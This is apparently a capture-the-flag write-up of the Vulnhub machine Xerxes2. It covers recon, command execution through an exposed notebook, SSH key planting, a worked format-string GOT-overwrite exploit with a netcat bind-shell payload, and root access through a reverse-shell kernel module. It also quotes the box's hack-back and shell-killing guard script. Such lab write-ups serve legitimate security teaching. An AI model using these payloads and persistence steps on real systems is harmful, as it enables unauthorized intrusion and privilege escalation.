Xerxes2 writeup

Xerxes2 is a boot2root machine that is built by barrebas and hosted by Vulnhub.com

Contact: [email protected]

Twitter: @teh_h3ck


Let's start

At start port 8888 isn't open. With a second nmap scan here it is!

Nmap Scan

Nmap scan report for 192.168.74.136
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
111/tcp open rpcbind
4444/tcp open krb524
8888/tcp open Tornado httpd 2.3

Server: lighttpd/1.4.31

Port 80

I haven't found anything interesting in port 80 for now.
port80

Troll #1

I found an empty .bash_history file in webserver directory /var/www.

Port 4444

//OAxAAAAAAAAAAAAEluZm8AAAAPAAAB+AABnD0AAwYICw0QEhUXGhwfISQmKSsuMDM1ODo9QUNG
SEtNUFJVV1pcX2FkZmlrbnBzdXh6fYGDhoiLjZCSlZeanJ+hpKapq66ws7W4ur3Bw8bIy83Q0tXX  
2tzf4eTm6evu8PP1+Pr9AAAAOUxBTUUzLjk5cgFuAAAAAAAAAAAUQCQEdSIAAEAAAZw9c+tDPgAA

...snip...

I base64 decoded it and i saw the string "Lame" so it's an mp3.

I heard the mp3 but it didn't give me a clue. Then i opened the mp3 file with Sonic Visualizer, added a layer of Spectrogram aand:

spectrogram

Yay! Another troll!

Port 8888:

i can run commands with !<command>

!ps axuuww

USER       PID COMMAND


root      1881   /sbin/rpcbind -w  
statd     1912   /sbin/rpc.statd  
root      1926   /usr/sbin/rpc.idmapd  
root      2197   /usr/sbin/rsyslogd -c5  
root      2307   /usr/sbin/cron  
polito    2378   /bin/sh -c while true ; do nc -l -p 4444 < /home/polito/audio.txt ; done  
1002      2379   /bin/sh -c sleep 120; cd ~ && ipython notebook --ip="*"  
root      2440   /usr/bin/daemon /etc/init.d/mpt-statusd check_mpt  
root      2443   /bin/sh /etc/init.d/mpt-statusd check_mpt  
www-data  2559   /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf  
101       2700   /usr/sbin/exim4 -bd -q30m  
root      2727   /sbin/getty 38400 tty1  
root      2760   dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases eth0  
1002      2851   /usr/bin/python /usr/bin/ipython notebook --ip=*  
1002      3744   /usr/bin/python -c from IPython.zmq.ipkernel import main; main() -f /home/delacroix/.ipython/profile_default/security/kernel-e9b252d1-ca0b-40f2-ba77-72d62561ccfd.json --KernelApp.parent_appname='ipython-notebook' --parent=1  
1002      4163   /usr/bin/python -c from IPython.parallel.apps.ipcontrollerapp import launch_new_instance; launch_new_instance() --profile-dir /home/delacroix/.ipython/profile_default --cluster-id  --log-to-file --log-level=20  
1002      4322   /usr/bin/python -c from IPython.zmq.ipkernel import main; main() -f /home/delacroix/.ipython/profile_default/security/kernel-af0c4104-6dde-47bd-8cda-fb16597ba25b.json --KernelApp.parent_appname='ipython-notebook' --parent=1  
root      7391   sleep 600  
polito    7432   nc -l -p 4444  
root      7435   /usr/sbin/exim4 -Mc 1XEMy2-0001vt-C5  

home directory

!ls -la
drwx------  3 delacroix  delacroix  4096 Aug  4 11:02 delacroix  
drwx------  3 korenchkin korenchkin 4096 Jul 16 11:22 korenchkin  
drwx------  3 polito     polito     4096 Jul 16 14:15 polito  

reverse shell (copy id_rsa.pub to server)

!echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCs/UEmUzroxXAICBW6eGyBNgHdpG4Fh7RksmSTcZAEtdNc3+gSPAN7ypNFi1/FuKdJV3qD+Wm6LiiM8ovNaSX5E6ueXHHn8rZQCG2PqM6T0T5FNHkVr9mIJRenO10XRmh2OL2LzQWoIny+qxVgMx0m2YTzzAUmH7aw4BRaGBsD2JR6CqbXH8CyBY4EBaG [email protected]" > /home/delacroix/.ssh/authorized_keys

!ls -la /opt

total 20  
drwxr-xr-x  3 root       root       4096 Jul 16 12:40 .  
drwxr-xr-x 22 root       root       4096 Jul 16 10:29 ..  
drwxr-xr-x  2 korenchkin korenchkin 4096 Jul 16 11:24 backup  
-rwsr-sr-x  1 polito     polito     6047 Jul 16 12:40 bf

Format string vulnerability

/* found this lingering around somewhere */

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

#define BUF_SIZE 30000

void bf(char *program, char *buf)  
{

    int programcounter = 0;
    int datapointer = 0;

    while (program[programcounter])
    {
        switch(program[programcounter])
        {
            case '.':
                printf("%c", buf[datapointer]);
                break;
            case ',':
                buf[datapointer] = getchar();
                break;
            case '>':
                datapointer = (datapointer == (BUF_SIZE-1)) ? 0 : ++datapointer;
                break;
            case '<':
                datapointer = (datapointer == 0) ? (BUF_SIZE-1) : --datapointer;
                break;
            case '+':
                buf[datapointer]++;
                break;
            case '-':
                buf[datapointer]--;
                break;
            case '[':
                if (buf[datapointer] == 0)
                {
                    int indent = 1;
                    while (indent)
                    {
                        programcounter++;

                        if (program[programcounter] == ']')
                        {
                            indent--;
                        }
                        if (program[programcounter] == '[')
                        {
                            indent++;
                        }
                    }
                }
                break;
            case ']':
                if (buf[datapointer])
                {
                    int indent = 1;
                    while (indent)
                    {
                        programcounter--;

                        if (program[programcounter] == ']')
                        {
                            indent++;
                        }
                        if (program[programcounter] == '[')
                        {
                            indent--;
                        }
                    }
                }
                break;
            case '#':
                // new feature
                printf(buf);
                break;
        }
        programcounter++;
    }
}

int main(int argc, char **argv)  
{
    char buf[BUF_SIZE];

    if (argc < 2)
    {
            printf("usage: %s [program]\n", argv[0]);
            exit(-1);
    }

    memset(buf, 0, sizeof(buf));
    bf(argv[1], buf);

    exit(0);
}

We don't see any strcopy or something to show us that we have a buffer overflow here.

BUT, we see this:

// new feature
printf(buf);  
break;  

It's an obvious format string vulnerability.

Checking for runtime protections

nx_enabled

Libc aslr trick bypass.

ulimit -s unlimited (stops library randomization on x86)

Checking with ulimit -a to see if it worked.

core file size          (blocks, -c) 0  
data seg size           (kbytes, -d) unlimited  
scheduling priority             (-e) 0  
file size               (blocks, -f) unlimited  
pending signals                 (-i) 7986  
max locked memory       (kbytes, -l) 64  
max memory size         (kbytes, -m) unlimited  
open files                      (-n) 1024  
pipe size            (512 bytes, -p) 8  
POSIX message queues     (bytes, -q) 819200  
real-time priority              (-r) 0  
stack size              (kbytes, -s) unlimited  
cpu time               (seconds, -t) unlimited  
max user processes              (-u) 7986  
virtual memory          (kbytes, -v) unlimited  
file locks                      (-x) unlimited

ldd /opt/bf gives every time the same addreses for libc

Format parameters

%d integer
%x hex
%s string
%n writes the number of bytes written till its occurrence in the address given as argument preceding the format strings.

I coded a simple python script to generate the exact payload for the bf.

Usage:

python payload_xerxes2.py "AAAA_%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"  

payload_xerxes2.py source code:

import sys  
format_string = str(sys.argv[1])  
payload = "echo " + '"' + format_string + '"' + '| ./bf "' + len(format_string) * ",>" + '#"'  
print payload

Finding the offset

echo "AAAA_%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x"| ./bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#"

Result:  
AAAA_b76c1ff4.0.0.bfe6fa48.b76f89c0.34.68.bfe68510.b76c1ff4.bfe6fa48.80486eb.bfe716f6.bfe68510.7530.0.41414141

So the offset is 16.

We can check that by running(direct parameter access):
That way we are fetching the 16th byte from the stack
echo "AAAA_%16\$x"| ./bf ",>,>,>,>,>,>,>,>,>,>,>#"

Result: AAAA_41414141

From here we need to work with gdb:

We are trying to write in the program with %n

#printf 'AAAA_%%16$n' > write
 gdb -q bf
Reading symbols from /root/Desktop/bf...(no debugging symbols found)...done.  
(gdb) r ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#" < write
Starting program: /root/Desktop/bf 

Program received signal SIGSEGV, Segmentation fault.  
0xb7ea29d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6  
(gdb) x/i $eip
=> 0xb7ea29d4 <vfprintf+16244>:    mov    %edx,(%eax)
(gdb) p/x $eax
$1 = 0x41414141
(gdb) p/x $edx
$2 = 0x5

eax(41414141) isn't a valid address and that's why our program crashed.

5 is the number of string we have in write file (AAAA_)

Let's check if we own edx

printf 'AAAA_%%.15u-%%16$n' > write

(gdb) r ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#" < write
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /root/Desktop/bf

Program received signal SIGSEGV, Segmentation fault.  
0xb7ea29d4 in vfprintf () from /lib/i386-linux-gnu/i686/cmov/libc.so.6  
(gdb) p/x $edx
$11 = 0x15

hex(15) = dec(21). So we own edx too (4 * 'A' + 1'_' + 1'-' + %.15u == 21)!

Finding got addresses (GOT addresses aren't affected by the ASLR)

#objdump -R bf

bf:     file format elf32-i386

DYNAMIC RELOCATION RECORDS  
OFFSET   TYPE              VALUE  
08049a38 R_386_GLOB_DAT    __gmon_start__  
08049a48 R_386_JUMP_SLOT   printf  
08049a4c R_386_JUMP_SLOT   getchar  
08049a50 R_386_JUMP_SLOT   __gmon_start__  
08049a54 R_386_JUMP_SLOT   exit  
08049a58 R_386_JUMP_SLOT   __libc_start_main  
08049a5c R_386_JUMP_SLOT   memset  
08049a60 R_386_JUMP_SLOT   putchar  

If i manage to change an address of the got table, when the program calls the function, it will point to my code.

We will try to overwrite the printf function address and redirect to the libc system function.

We want to run system(buf) instead of printf(buf).

I write to the file:
printf '\x54\x9a\x04\x08_%%16$n' > /tmp/write

(gdb) r
The program being debugged has been started already.  
Start it from the beginning? (y or n) y

Starting program: /root/Desktop/bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>#" < /tmp/write

Program received signal SIGSEGV, Segmentation fault.  
0x00000005 in ?? ()

The program tried to jump to 0x00000005 address.

Checking if got table is overwritten

(gdb) x/x 0x08049a48
0x8049a48 <[email protected]>:    0x00000005  
(gdb) p system
$1 = {<text variable, no debug info>} 0x40062000 <system>

In order to own the adress of the execution flow we split the address in 2 parts

Address of &system 0x40062000
|MSB | LSB|

|0x4006 | 0x2000|

To edit the last part we just add in write file

hex(2000) = dec(8192)

#printf '\x48\x9a\x04\x08_%%8182u-%%16$n' > /tmp/write

To write to the high bytes we use:

printf '\x48\x9a\x04\x08\x4a\x9a\x04\x08_%%8182u-%%16$n-%%8196u-%%17$n;nc -vlnp 9999 -e /bin/sh;' > /tmp/write  

Payload structure

[LSB addr][MSB addr]_[allignment for LSB]-[write the LSB]-[allignment for MSB]-[write the MSB]

Payload

./bf ",>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>,>##" < /tmp/write

I connected and i uploaded my id_rsa.pub to the /home/polito/.ssh/authorized_keys file in order to normally connect as polito via ssh.

Forensics part

Under home directory of polito i found an interesting pdf.

pdf

I scanned the qrcode with my phone and i got the message
Xerxes is watching you.... Just another troll...

I checked with file command how it is recognized by the system and it reports that it is a boot sector.

$file polito.pdf 
polito.pdf: x86 boot sector, code offset 0xe0  

Let's try to boot it

$qemu polito.pdf

boot

Let's decrypt the dump and see what is it.
gpg -o decrypt --decrypt dump.gpg

It seems to be a memory dump. So it must include juicy stuff. Let's try to find pass string inside it.
strings decrypt | grep "pass"

Yay i found the exact command that decrypts the file that is located in /opt/backup/korenchkin.
openssl enc -d -salt -aes-256-cbc -pass pass:c2hvZGFu -in /opt/backup/korenchkin.tar.enc -out /home/polito/koren.tar

Then i am decompressing it:
tar xvf /home/polito/koren.tar

It contains the ssh keys of korenchkin user. Let's try to log in as this user:
ssh [email protected] -i id_rsa

The home directory is empty. I tried to find anything interesting under /var/mail/korenchkin but no luck. Then, i tried to find if i can run any command as root.

$sudo -l
Matching Defaults entries for korenchkin on this host:  
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User korenchkin may run the following commands on this host:  
    (root) NOPASSWD: /sbin/insmod, (root) /sbin/rmmod

So i have to find a way to load a kernel module and take access as root.

I found https://github.com/maK-/reverse-shell-access-kernel-module.

I downloaded the source to xerxes machine and i run make command in order the kernel module to be compiled.

Then i run in xerxes2:

$sudo /sbin/insmod maK_it.ko The kernel module is loaded and is waiting for our interaction.

Commands in local machine

$nc -vlnp 9999

$nping --icmp -c 1 -dest-ip 192.168.74.136 --data-string 'maK_it_$H3LL 192.168.74.144 9999
'  
$cat /root/xerxes-guard.sh
#!/bin/bash

# hackbacktrack!
sshpass -p 'toor' ssh -oStrictHostKeyChecking=no [email protected]`netstat -ant |grep ":22" |grep "ESTABLISHED" |awk '{print $5}' |sed 's/:.*//'` 'reboot'  
sshpass -p 'root' ssh -oStrictHostKeyChecking=no [email protected]`netstat -ant |grep ":22" |grep "ESTABLISHED" |awk '{print $5}' |sed 's/:.*//'` 'reboot'

IFS=$'\n'; set -f; output=$(ps aux |awk /pts/)  
IFS=$'\n'; set -f; ttys=$(who |awk '{print $2}')  
for x in $output  
do  
        match=0
        for t in $ttys
        do
                if [[ $x == *"$t"* ]]; then
                        match=1
                fi
        done
        if [ $match -eq 0 ]; then
                pty=$( echo "$x" |awk {'print $7'} )
                echo "" > /dev/$pty
                echo "XERXES: terminating anomalous connection" > /dev/$pty
                echo "Remember, the unauthorized access to XERXES subsystems is a class 3 infraction." > /dev/$pty
                pid=$( echo "$x" |awk {'print $2'} )
                kill -9 $pid 2>/dev/null
        fi
done

hits=`ps aux |grep 'nc -e /bin/' |awk '{print $2}'`  
for pid in $hits  
        do
        # silently kill reverse shell
        kill -9 $pid 2>/dev/null
        done

IFS=$'\n'; set -f; netdata=$(netstat -antp)

for shell in "bash" "/sh" "dash" "rbash" "nc";  
do  
        for x in $netdata
        do
                if [[ $x == *"$shell"* ]]; then
                        if [[ ! "$x" =~ "sshd" ]]; then
                                pid=$(echo "$x" |awk '{print $7}' |sed s/[^0-9]//g)
                                kill -9 $pid 2>/dev/null
                        fi
                fi
        done
done

flag

I copied my id_rsa.pub key to /root/.ssh/authorized_keys to take access over ssh.


I would like to thank barrebas and vulnhub for this awesome challenge. It teached me a lot. It learned me how to stop needing sleep!